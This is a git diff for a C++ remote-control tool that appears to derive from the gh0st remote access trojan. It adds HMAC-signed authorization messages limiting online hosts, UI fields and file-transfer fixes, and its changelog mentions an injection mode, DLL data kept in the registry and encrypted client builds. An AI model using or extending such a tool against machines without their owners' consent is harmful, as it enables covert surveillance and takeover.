diff --git a/ReadMe.md b/ReadMe.md index 35169fc..086567d 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -273,6 +273,22 @@ * 插件:#145 支持远程画板功能 * 插件:增加远程桌面隐私屏幕功能 +**2025.07.19** + +Release v1.1.3 + +- 添加加密和解密函数 +- 修改弹出消息为通过 `NM_DBLCLK` 触发 +- 改进:将 DLL 数据保存到注册表中 +- 新功能:支持 HTTP 协议并添加构建选项 +- 新功能:为客户端构建添加加密选项 +- 改进:减少鼠标移动消息的传输 +- 修复:在操作高权限窗口时失去控制的问题 +- 改进:通过异常处理提升客户端稳定性 +- 新功能:远程桌面支持多显示器 +- 改进:支持授权在线主机数量 +- 修复:#159 在 TestRun 注入模式下授权无效的问题 + --- # 6.其他项目 diff --git a/ReadMe_EN.md b/ReadMe_EN.md index fd3f3ee..faf06ce 100644 --- a/ReadMe_EN.md +++ b/ReadMe_EN.md @@ -290,6 +290,22 @@ Release v1.1.2: * Plugin: #145 Support remote drawing board * Plugin: Add remote desktop privacy screen feature +**2025.07.19** + +Release v1.1.3 + +* Add encrypt and decrypt functions +* Modify the popup message to be triggered by `NM_DBLCLK` +* Improve: Save DLL data to registry +* Feature: Support HTTP protocol and add building option +* Feature: Add encryption option for client building +* Improvement: Reduce transmit mouse move message +* fix: Lost control when operating high permission windows +* Improve client stability by handling exceptions +* feature: Remote desktop support multi monitor +* Improve: Support authorizing the online host quantity +* fix:#159 Authorization doesn't work under TestRun injection + --- # 6. Related Projects diff --git a/Releases/v1.1.3/Yama.exe b/Releases/v1.1.3/Yama.exe new file mode 100644 index 0000000..209f46e Binary files /dev/null and b/Releases/v1.1.3/Yama.exe differ diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index d38cb72..1676bab 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -233,8 +233,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "MASTER.EXE"); hMutex = hMutex ? hMutex : OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE"); #ifndef _DEBUG - if (hMutex == NULL) // ûлδ - break; + if (hMutex == NULL) { // ûлδ + Mprintf("!!! [WARN] Master program is not running.\n"); + } #endif CloseHandle(hMutex); @@ -244,14 +245,19 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) const char* pwdHash = m_conn->pwdHash[0] ? m_conn->pwdHash : masterHash.c_str(); if (passCode[0] == 0) { std::string devId = getDeviceID(); + memcpy(buf + 24, buf + 12, 8); // Ϣǩ + memcpy(buf + 96, buf + 8, 4); // ʱ memcpy(buf + 5, devId.c_str(), devId.length()); // 16ֽ memcpy(buf + 32, pwdHash, 64); // 64ֽ m_ClientObject->Send2Server((char*)buf, sizeof(buf)); + Mprintf("Request for authorization update.\n"); } else { - int* days = (int*)(buf + 1); + unsigned short* days = (unsigned short*)(buf + 1); + unsigned short* num = (unsigned short*)(buf + 3); config* cfg = pwdHash == masterHash ? new config : new iniFile; cfg->SetStr("settings", "Password", *days <= 0 ? "" : passCode); cfg->SetStr("settings", "HMAC", *days <= 0 ? "" : buf + 64); + Mprintf("Update authorization: %s, HMAC: %s\n", passCode, buf+64); delete cfg; g_bExit = S_SERVER_EXIT; } diff --git a/client/Script.rc b/client/Script.rc index f088c64..dba4e1d 100644 --- a/client/Script.rc +++ b/client/Script.rc @@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav" // VS_VERSION_INFO VERSIONINFO - FILEVERSION 1,0,1,2 + FILEVERSION 1,0,1,3 PRODUCTVERSION 1,0,0,1 FILEFLAGSMASK 0x3fL #ifdef _DEBUG @@ -106,7 +106,7 @@ BEGIN BEGIN VALUE "CompanyName", "FUCK THE UNIVERSE" VALUE "FileDescription", "A GHOST" - VALUE "FileVersion", "1.0.1.2" + VALUE "FileVersion", "1.0.1.3" VALUE "InternalName", "ServerDll.dll" VALUE "LegalCopyright", "Copyright (C) 2019-2025" VALUE "OriginalFilename", "ServerDll.dll" diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 22bfdb4..a0ad7ab 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index e73e2ec..8d18181 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -948,7 +948,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog() return FALSE; } #ifdef _DEBUG - SetTimer(TIMER_CHECK, 60 * 1000, NULL); + SetTimer(TIMER_CHECK, 10 * 1000, NULL); #else SetTimer(TIMER_CHECK, 600 * 1000, NULL); #endif @@ -1464,11 +1464,7 @@ std::string joinString(const std::vector& tokens, char delimiter) { bool CMy2015RemoteDlg::CheckValid(int trail) { DateVerify verify; -#ifdef _DEBUG - BOOL isTrail = verify.isTrail(0); -#else BOOL isTrail = verify.isTrail(trail); -#endif if (!isTrail) { const Validation *verify = GetValidation(); @@ -1845,13 +1841,32 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) if (n < 100) break; char resp[100] = { 0 }, *devId = resp + 5, *pwdHash = resp + 32; ContextObject->InDeCompressedBuffer.CopyBuffer(resp, min(n, sizeof(resp)), 0); - int *days = (int*)(resp+1); - if (devId[0] == 0 || pwdHash[0] == 0)break; - // 密码形式:20250209 - 20350209: SHA256 - std::string hash = pwdHash; - std::string password = getDateStr(0) + " - " + getDateStr(*days) + ": " + pwdHash; - std::string finalKey = deriveKey(password, devId); - std::string fixedKey = getDateStr(0) + std::string("-") + getDateStr(*days) + std::string("-") + getFixedLengthID(finalKey); + unsigned short* days = (unsigned short*)(resp + 1); + unsigned short* num = (unsigned short*)(resp + 3); + BYTE msg[12] = {}; + memcpy(msg, resp, 5); + memcpy(msg+8, resp+96, 4); + uint32_t now = clock(); + uint32_t tm = *(uint32_t*)(resp + 96); + if (now < tm || now - tm > 30000) { + Mprintf("Get authorization timeout[%s], devId: %s, pwdHash:%s", ContextObject->PeerName.c_str(), + devId, pwdHash); + break; + } + uint64_t signature = *(uint64_t*)(resp + 24); + if (devId[0] == 0 || pwdHash[0] == 0 || !VerifyMessage(m_superPass, msg, sizeof(msg), signature)){ + Mprintf("Get authorization failed[%s], devId: %s, pwdHash:%s\n", ContextObject->PeerName.c_str(), + devId, pwdHash); + break; + } + char hostNum[10] = {}; + sprintf(hostNum, "%04d", *num); + // 密码形式:20250209 - 20350209: SHA256: HostNum + std::string hash = std::string(pwdHash, pwdHash+64); + std::string password = getDateStr(0) + " - " + getDateStr(*days) + ": " + hash + ": " + hostNum; + std::string finalKey = deriveKey(password, std::string(devId, devId+19)); + std::string fixedKey = getDateStr(0) + std::string("-") + getDateStr(*days) + "-" + hostNum + + std::string("-") + getFixedLengthID(finalKey); memcpy(devId, fixedKey.c_str(), fixedKey.length()); devId[fixedKey.length()] = 0; std::string hmac = genHMAC(hash, m_superPass); @@ -2726,11 +2741,19 @@ void CMy2015RemoteDlg::OnOnlineAuthorize() CInputDialog dlg(this); dlg.Init("延长授权", "主控程序授权天数:"); + dlg.Init2("并发上线机器数量:", std::to_string(100).c_str()); if (dlg.DoModal() != IDOK || atoi(dlg.m_str) <= 0) return; BYTE bToken[32] = { CMD_AUTHORIZATION }; - int days = atoi(dlg.m_str); + unsigned short days = atoi(dlg.m_str); + unsigned short num = atoi(dlg.m_sSecondInput); + uint32_t tm = clock(); + // 2字节天数+2字节主机数+4字节时间戳+消息签名 memcpy(bToken+1, &days, sizeof(days)); + memcpy(bToken+3, &num, sizeof(num)); + memcpy(bToken + 8, &tm, sizeof(tm)); + uint64_t signature = SignMessage(m_superPass, bToken, 12); + memcpy(bToken + 12, &signature, sizeof(signature)); SendSelectedCommand(bToken, sizeof(bToken)); } @@ -2814,8 +2837,15 @@ void CMy2015RemoteDlg::OnOnlineUnauthorize() } BYTE bToken[32] = { CMD_AUTHORIZATION }; - int days = -1; + unsigned short days = 0; + unsigned short num = 1; + uint32_t tm = clock(); + // 2字节天数+2字节主机数+4字节时间戳+消息签名 memcpy(bToken + 1, &days, sizeof(days)); + memcpy(bToken + 3, &num, sizeof(num)); + memcpy(bToken + 8, &tm, sizeof(tm)); + uint64_t signature = SignMessage(m_superPass, bToken, 12); + memcpy(bToken + 12, &signature, sizeof(signature)); SendSelectedCommand(bToken, sizeof(bToken)); } diff --git a/server/2015Remote/FileManagerDlg.cpp b/server/2015Remote/FileManagerDlg.cpp index 25b680d..9f8c4df 100644 --- a/server/2015Remote/FileManagerDlg.cpp +++ b/server/2015Remote/FileManagerDlg.cpp @@ -1778,7 +1778,8 @@ void CFileManagerDlg::WriteLocalRecvFile() } if (i == MAX_WRITE_RETRY && nRet <= 0) { - ::MessageBox(m_hWnd, m_strReceiveLocalFile + " ļдʧ", "", MB_OK|MB_ICONWARNING); + ::MessageBox(m_hWnd, m_strReceiveLocalFile + " ļдʧ!", "", MB_OK|MB_ICONWARNING); + m_bIsStop = true; } CloseHandle(hFile); // Ϊ˱Ƚϣ diff --git a/server/2015Remote/InputDlg.cpp b/server/2015Remote/InputDlg.cpp index 9f7aaee..1e6dc19 100644 --- a/server/2015Remote/InputDlg.cpp +++ b/server/2015Remote/InputDlg.cpp @@ -12,6 +12,7 @@ IMPLEMENT_DYNAMIC(CInputDialog, CDialogEx) CInputDialog::CInputDialog(CWnd* pParent /*=nullptr*/) : CDialogEx(IDD_DIALOG_INPUT, pParent) + , m_sSecondInput(_T("")) { m_hIcon = NULL; } @@ -23,6 +24,10 @@ CInputDialog::~CInputDialog() void CInputDialog::DoDataExchange(CDataExchange* pDX) { CDialogEx::DoDataExchange(pDX); + DDX_Control(pDX, IDC_STATIC_SECOND, m_Static2thInput); + DDX_Control(pDX, IDC_EDIT_SECOND, m_Edit2thInput); + DDX_Text(pDX, IDC_EDIT_SECOND, m_sSecondInput); + DDV_MaxChars(pDX, m_sSecondInput, 100); } @@ -39,6 +44,11 @@ BOOL CInputDialog::Init(LPCTSTR caption, LPCTSTR prompt) { return TRUE; } +void CInputDialog::Init2(LPCTSTR name, LPCTSTR defaultValue) { + m_sItemName = name; + m_sSecondInput = defaultValue; +} + BOOL CInputDialog::OnInitDialog() { CDialogEx::OnInitDialog(); @@ -47,6 +57,11 @@ BOOL CInputDialog::OnInitDialog() SetWindowText(m_sCaption); GetDlgItem(IDC_STATIC)->SetWindowText(m_sPrompt); + + m_Static2thInput.SetWindowTextA(m_sItemName); + m_Static2thInput.ShowWindow(m_sItemName.IsEmpty() ? SW_HIDE : SW_SHOW); + m_Edit2thInput.SetWindowTextA(m_sSecondInput); + m_Edit2thInput.ShowWindow(m_sItemName.IsEmpty() ? SW_HIDE : SW_SHOW); return TRUE; // return TRUE unless you set the focus to a control // 异常: OCX 属性页应返回 FALSE diff --git a/server/2015Remote/InputDlg.h b/server/2015Remote/InputDlg.h index 753c7f7..9ccc4b2 100644 --- a/server/2015Remote/InputDlg.h +++ b/server/2015Remote/InputDlg.h @@ -14,6 +14,8 @@ public: BOOL Init(LPCTSTR caption, LPCTSTR prompt); + void Init2(LPCTSTR name, LPCTSTR defaultValue); + // 对话框数据 #ifdef AFX_DESIGN_TIME enum { IDD = IDD_DIALOG_INPUT }; @@ -32,4 +34,8 @@ public: CString m_str; virtual BOOL OnInitDialog(); afx_msg void OnBnClickedOk(); + CStatic m_Static2thInput; + CEdit m_Edit2thInput; + CString m_sItemName; + CString m_sSecondInput; }; diff --git a/server/2015Remote/file/CFileManagerDlg.cpp b/server/2015Remote/file/CFileManagerDlg.cpp index 29b1285..e720f42 100644 --- a/server/2015Remote/file/CFileManagerDlg.cpp +++ b/server/2015Remote/file/CFileManagerDlg.cpp @@ -1423,14 +1423,17 @@ void CFileManagerDlg::WriteLocalRecvFile() break; } if (i == MAX_WRITE_RETRY && !bResult) { - ::MessageBox(m_hWnd, m_strReceiveLocalFile + _T(" ļдʧ"), _T(""), MB_OK | MB_ICONWARNING); + ::MessageBox(m_hWnd, m_strReceiveLocalFile + _T(" ļдʧ!"), _T(""), MB_OK | MB_ICONWARNING); + m_bIsStop = true; + } + else { + dwOffsetLow = 0; + dwOffsetHigh = 0; + dwOffsetLow = SetFilePointer(m_hFileRecv, dwOffsetLow, &dwOffsetHigh, FILE_CURRENT); + // Ϊ˱Ƚϣ + m_nCounter += dwBytesWrite; + ShowProgress(); } - dwOffsetLow = 0; - dwOffsetHigh = 0; - dwOffsetLow = SetFilePointer(m_hFileRecv, dwOffsetLow, &dwOffsetHigh, FILE_CURRENT); - // Ϊ˱Ƚϣ - m_nCounter += dwBytesWrite; - ShowProgress(); } if (m_bIsStop) SendStop(TRUE); diff --git a/server/2015Remote/pwd_gen.cpp b/server/2015Remote/pwd_gen.cpp index f7a2e14..d33a2fc 100644 --- a/server/2015Remote/pwd_gen.cpp +++ b/server/2015Remote/pwd_gen.cpp @@ -15,6 +15,7 @@ #include "common/commands.h" #pragma comment(lib, "Advapi32.lib") +#pragma comment(lib, "bcrypt.lib") // ִϵͳȡӲϢ std::string execCommand(const char* cmd) { @@ -143,3 +144,61 @@ std::string getDeviceID() { std::string deviceID = getFixedLengthID(hashedID); return deviceID; } + +uint64_t SignMessage(const std::string& pwd, BYTE* msg, int len) { + BCRYPT_ALG_HANDLE hAlg = nullptr; + BCRYPT_HASH_HANDLE hHash = nullptr; + BYTE hash[32]; // SHA256 = 32 bytes + DWORD hashObjectSize = 0; + DWORD dataLen = 0; + PBYTE hashObject = nullptr; + uint64_t result = 0; + + if (BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_SHA256_ALGORITHM, nullptr, BCRYPT_ALG_HANDLE_HMAC_FLAG) != 0) + return 0; + + if (BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH, (PUCHAR)&hashObjectSize, sizeof(DWORD), &dataLen, 0) != 0) { + BCryptCloseAlgorithmProvider(hAlg, 0); + return 0; + } + + hashObject = (PBYTE)HeapAlloc(GetProcessHeap(), 0, hashObjectSize); + if (!hashObject) { + BCryptCloseAlgorithmProvider(hAlg, 0); + return 0; + } + + if (BCryptCreateHash(hAlg, &hHash, hashObject, hashObjectSize, + (PUCHAR)pwd.data(), static_cast(pwd.size()), 0) != 0) { + HeapFree(GetProcessHeap(), 0, hashObject); + BCryptCloseAlgorithmProvider(hAlg, 0); + return 0; + } + + if (BCryptHashData(hHash, msg, len, 0) != 0) { + BCryptDestroyHash(hHash); + HeapFree(GetProcessHeap(), 0, hashObject); + BCryptCloseAlgorithmProvider(hAlg, 0); + return 0; + } + + if (BCryptFinishHash(hHash, hash, sizeof(hash), 0) != 0) { + BCryptDestroyHash(hHash); + HeapFree(GetProcessHeap(), 0, hashObject); + BCryptCloseAlgorithmProvider(hAlg, 0); + return 0; + } + + memcpy(&result, hash, sizeof(result)); + + BCryptDestroyHash(hHash); + HeapFree(GetProcessHeap(), 0, hashObject); + BCryptCloseAlgorithmProvider(hAlg, 0); + + return result; +} + +bool VerifyMessage(const std::string& pwd, BYTE* msg, int len, uint64_t signature) { + uint64_t computed = SignMessage(pwd, msg, len); + return computed == signature; +} diff --git a/server/2015Remote/pwd_gen.h b/server/2015Remote/pwd_gen.h index bddf4bb..469cc35 100644 --- a/server/2015Remote/pwd_gen.h +++ b/server/2015Remote/pwd_gen.h @@ -16,3 +16,8 @@ std::string getFixedLengthID(const std::string& hash); std::string deriveKey(const std::string& password, const std::string& hardwareID); std::string getDeviceID(); + +// Use HMAC to sign a message. +uint64_t SignMessage(const std::string& pwd, BYTE* msg, int len); + +bool VerifyMessage(const std::string& pwd, BYTE* msg, int len, uint64_t signature); diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index dc29ec0..572ae9c 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ